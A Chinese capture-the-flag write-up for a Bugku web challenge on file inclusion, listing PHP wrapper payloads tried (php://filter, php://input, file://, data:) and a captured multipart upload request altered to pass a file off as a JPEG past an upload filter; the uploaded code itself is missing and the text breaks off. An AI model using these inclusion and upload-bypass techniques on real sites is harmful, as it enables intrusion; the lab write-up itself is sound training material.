Bugku web——文件包含2

打开链接,看到链接形式为file=hello.php,因此首先尝试php文件包含

php://filter/read=convert.base64-encode/resource/hello.php
报错

php://input
报错

file://var/www/hello.php
没有报错,但也没有输出

data: text/plain,
报错

经过几次尝试发现上面的结果,走投无路看一看网页源码,发现提示:
Bugku web——文件包含2_第1张图片
访问upload.php页面
发现是文件上传
Bugku web——文件包含2_第2张图片
随便上传一个文件并抓包,对抓到的包进行修改:

POST http://123.206.31.85:49166/index.php?file=upload.php HTTP/1.1
Host: 123.206.31.85:49166
Connection: keep-alive
Content-Length: 6002
Cache-Control: max-age=0
Origin: http://123.206.31.85:49166
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRQQRAvPdjBb5q6tC
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://123.206.31.85:49166/index.php?file=upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6,ko;q=0.5,ht;q=0.4

------WebKitFormBoundaryRQQRAvPdjBb5q6tC
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg



------WebKitFormBoundaryRQQRAvPdjBb5q6tC--

filename改为1.jpg
content-Type改为image/jpeg
将文件内容改为
由于upload.php对上传内容进行了过滤,如果上传 访问时只能得到下面内容
Bugku web——文件包含2_第3张图片
而对于php的另一种表示方法

你可能感兴趣的:(ctf总结)